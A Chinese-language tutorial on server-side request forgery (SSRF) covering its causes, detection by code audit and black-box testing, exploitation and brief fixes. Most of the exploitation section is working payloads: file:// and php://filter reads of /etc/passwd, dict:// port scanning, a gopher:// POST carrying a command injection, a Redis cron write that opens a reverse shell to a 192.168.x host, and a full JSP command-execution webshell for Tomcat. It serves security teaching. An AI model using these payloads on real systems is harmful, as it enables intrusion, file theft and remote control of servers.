SSRF 服务端请求伪造漏洞
概述
服务端请求伪造(Server-Side Request Forgery,简称 SSRF)是一种由攻击者诱导服务器发起非预期请求的安全漏洞。通常,攻击者通过操控服务器发送的请求,访问内部网络资源、读取敏感文件或执行恶意操作,从而对系统造成威胁。
产生原因
SSRF 漏洞的根本原因在于开发者未对用户输入的 URL 参数进行严格的验证和过滤,导致服务器可能向任意地址发起请求。常见场景包括:
- 未限制的 URL 输入:用户可直接控制请求的目标 URL。
- 不安全的函数使用:如 PHP 中的
file_get_contents
、curl_exec
或其他可发起网络请求的函数,未对参数进行充分校验。 - 协议支持广泛:服务器支持多种协议(如
http://
、file://
、gopher://
等),增加了攻击面。
示例图:
CSRF 和 SSRF 的区别
特性 | SSRF | CSRF |
---|---|---|
全称 | 服务端请求伪造 | 跨站请求伪造 |
攻击目标 | 诱导服务器执行非预期请求 | 诱导用户执行非预期操作 |
影响范围 | 服务器端,可能涉及内网资源 | 客户端,通常涉及用户权限操作 |
典型场景 | 读取内网文件、探测内网、攻击内部服务 | 伪造用户请求,如修改密码、转账等 |
危害
SSRF 漏洞可能导致以下严重后果:
- 任意文件读取:通过
file://
或php://filter
协议读取服务器本地敏感文件(如配置文件、源代码)。 - 内网探测:扫描内网 IP、端口或服务,获取网络拓扑信息。
- 内网攻击:利用内网服务漏洞(如 Redis、Tomcat)执行命令或植入恶意代码。
- 绕过访问控制:访问仅限内网访问的资源。
- 拒绝服务(DoS):向内部服务发送大量请求,耗尽服务器资源。
挖掘方法
1. 代码审计
通过审查源代码,定位可能导致 SSRF 漏洞的代码模式。以下是常见步骤:
定位关键函数
检查以下可能发起网络请求的函数:
- PHP:
file_get_contents
、fsockopen
、curl_exec
、fopen
- Python:
requests.get
、urllib.request.urlopen
- Java:
HttpURLConnection
、java.net.URL
示例(PHP 中易受 SSRF 攻击的代码):
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
检查参数可控性
- 确认用户输入(如
$_GET
、$_POST
)是否直接传递到请求函数。 - 检查是否存在对输入 URL 的过滤(如白名单、黑名单、协议限制)。
验证过滤机制
- 检查是否限制协议(
http://
、https://
)或域名。 - 检查是否对内网 IP(如
127.0.0.1
、10.0.0.0/8
)进行限制。 - 分析是否存在绕过过滤的可能(如大小写、编码、短域名)。
黑盒测试
在无法访问源代码的情况下,通过黑盒测试挖掘 SSRF 漏洞:
方法一:HTTP 记录分析
- 使用 Burp Suite 抓取请求,寻找包含 URL 的请求。
- 修改 URL 参数为测试地址(如
http://example.com/abc
),观察服务器是否发起对应请求。 - 检查 Burp Suite 的 HTTP 历史记录,确认是否有非预期请求。
方法二:DNS 记录分析
- 使用 Burp Suite 生成临时域名并添加子域名(如
http://test/example.com
)。 - 发送请求。
- 检查 DNS 解析记录,确认服务器是否尝试解析该域名。
利用
任意文件读取
通过 SSRF 漏洞利用 file://
或 php://filter
协议读取服务器本地文件。
使用 file://
协议
file://绝对路径
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
使用 php://filter
协议
将文件内容以 Base64 或 rot13 编码返回,避免编码问题:
php://filter/read=convert.base64-encode/resource=文件的相对路径或绝对路径
php://filter/read=convert.base64-encode/resource=/etc/passwd
截图示例:
内网探测
通过 SSRF 探测内网 IP、端口和服务,获取网络拓扑信息。
获取内网 IP
读取 /etc/hosts
文件以获取内网 IP 信息:
file:///etc/hosts
file:///C:/Windows/System32/drivers/etc/hosts
截图示例:
端口扫描
使用 dict://
或 http://
协议探测内网服务(部分 SSRF 漏洞不支持 dict://
,可以用 http://
代替):
dict://[ip]:[port]
http://[ip]:[port]
结合 Burp Suite 的 Intruder 模块,爆破端口(常见端口如 80、443、6379、3306)。
截图示例:
C 段扫描
同端口扫描一样,可以扫描 C 段,将攻击点定位于 C 段即可,方式同端口扫描
C 段扫描的数字为 1-254
目录扫描
使用目录字典(如 fuzzDicts
的 directoryDicts
),探测内网服务目录:
http://172.72.23.22/index.php
http://172.72.23.22/phpinfo.php
http://172.72.23.22/shell.php
······
内网攻击
利用 SSRF 攻击内网服务,常见目标包括 Redis、Tomcat、未授权访问的数据库、内网其他服务器等。
GET 型攻击
假设探测发现 http://172.16.0.1/shell.php
存在命令执行漏洞,可构造如下请求:
http://172.72.23.22/shell.php?cmd=id
截图示例:
POST 型攻击(使用 gopher://
)
gopher://
协议可发送任意 TCP 数据,适合攻击非 HTTP 服务。
作用:发送 TCP 数据
格式:gopher://IP:Port/_TCP数据
默认端口:70
步骤:
构造原始 POST 请求:
POST / HTTP/1.1 Host: 172.72.23.24 Content-Length: 15 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: https://3927aff6-9d3d-4e76-9529-6a4bc65cc2cf.ubpdyudi.icu/ ip=127.0.0.1;id
对请求体进行两次 URL 编码,转换为
gopher://
格式:gopher://172.72.23.24:80/_%50%4F%53%54%20%2F%20%48%54%54%50%2F%31%2E%31%0D...
将编码后的 URL 替换到 SSRF 参数,发送请求。
注意事项:
- 确保
Content-Length
准确。 - 删除
Accept-Encoding: gzip
以避免压缩干扰。 - 使用 Burp Suite 验证请求是否正确发送。
截图示例:
攻击 Redis
利用 dict://
或 gopher://
协议操作 Redis 服务:
dict:// 攻击 Redis 示例:
dict://172.72.23.27:6379/flushall
dict://172.72.23.27:6379/set a "\n\n* * * * * /bin/bash -i >%26 /dev/tcp/192.168.126.129/15000 0>%261\n\n"
dict://172.72.23.27:6379/config set dir /var/spool/cron/
dict://172.72.23.27:6379/config set dbfilename root
dict://172.72.23.27:6379/save
gopher:// 攻击 Redis 示例:
捕获原始 TCP 流
*1 $8 flushall *3 $3 set $1 a $61 * * * * * /bin/bash -i >& /dev/tcp/192.168.126.129/15000 0>&1 *4 $6 config $3 set $3 dir $16 /var/spool/cron/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save
对 TCP 流进行两次 URL 编码,构造
gopher://
请求:gopher://172.72.23.27:6379/_%2A%31%0D%0A%24%38%0D%0A%66%6C%75%73%68%61%6C%6C...
截图示例:
攻击 Tomcat
若内网存在 Tomcat 服务,可利用 SSRF 访问管理界面或已知漏洞(如弱口令、CVE 漏洞),并结合已知漏洞(如 CVE-2017-12615),尝试上传 Webshell 或执行命令。
Java payload:
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
截图示例:
修复
拦截特殊的协议头
file://
、php://
、dict://
、gopher://
拦截特殊的站点
localhost
、127.0.0.1
、192.168.x.x
、172.x.x.x
、10.x.x.x
只允许域名访问,还可以设置域名白名单
- 如
*.baidu.com
- 如